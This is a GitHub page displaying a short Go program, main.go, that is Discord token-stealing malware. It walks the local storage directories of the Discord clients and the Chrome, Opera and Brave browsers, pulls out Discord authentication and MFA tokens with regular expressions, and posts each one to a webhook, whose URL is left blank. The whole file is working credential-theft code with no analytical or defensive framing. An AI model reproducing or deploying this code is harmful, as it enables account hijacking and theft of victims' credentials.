-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.go
82 lines (74 loc) · 1.91 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package main
import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"os"
"regexp"
"strings"
)
func sendWebhook(message string) {
url := ""
values := map[string]string{
"content": message,
}
jsonData, err := json.Marshal(values)
if err != nil {
return
}
resp, err := http.Post(url, "application/json", bytes.NewBuffer(jsonData))
if err != nil {
return
}
var res map[string]interface{}
json.NewDecoder(resp.Body).Decode(&res)
}
func getTokens() {
ROAMING := os.Getenv("APPDATA")
LOCAL := os.Getenv("LOCALAPPDATA")
PATHS := map[string]string{
"Discord": ROAMING + "\\Discord",
"Discord Canary": ROAMING + "\\discordcanary",
"Discord PTB": ROAMING + "\\discordptb",
"Google Chrome": LOCAL + "\\Google\\Chrome\\User Data\\Default",
"Opera": ROAMING + "\\Opera Software\\Opera Stable",
"Brave": LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
}
for _, path := range PATHS {
if _, err := os.Stat(path); err == nil {
path += "\\Local Storage\\leveldb\\"
files, err := ioutil.ReadDir(path)
if err != nil {
continue
}
for _, file := range files {
if strings.HasSuffix(file.Name(), ".ldb") || strings.HasSuffix(file.Name(), ".log") {
data, err := ioutil.ReadFile(path + file.Name())
if err != nil {
fmt.Println(err)
continue
}
reNotmfa, err := regexp.Compile(`[\w-]{24}\.[\w-]{6}\.[\w-]{27}`)
if err == nil {
if string(reNotmfa.Find(data)) != "" {
sendWebhook("Token found : ``" + string(reNotmfa.Find(data)) + "``")
}
}
reMfa, err := regexp.Compile(`mfa\.[\w-]{84}`)
if err == nil {
if string(reMfa.Find(data)) != "" {
sendWebhook("Token found : ``" + string(reMfa.Find(data)) + "``")
}
}
}
}
} else {
continue
}
}
}
func main() {
getTokens()
}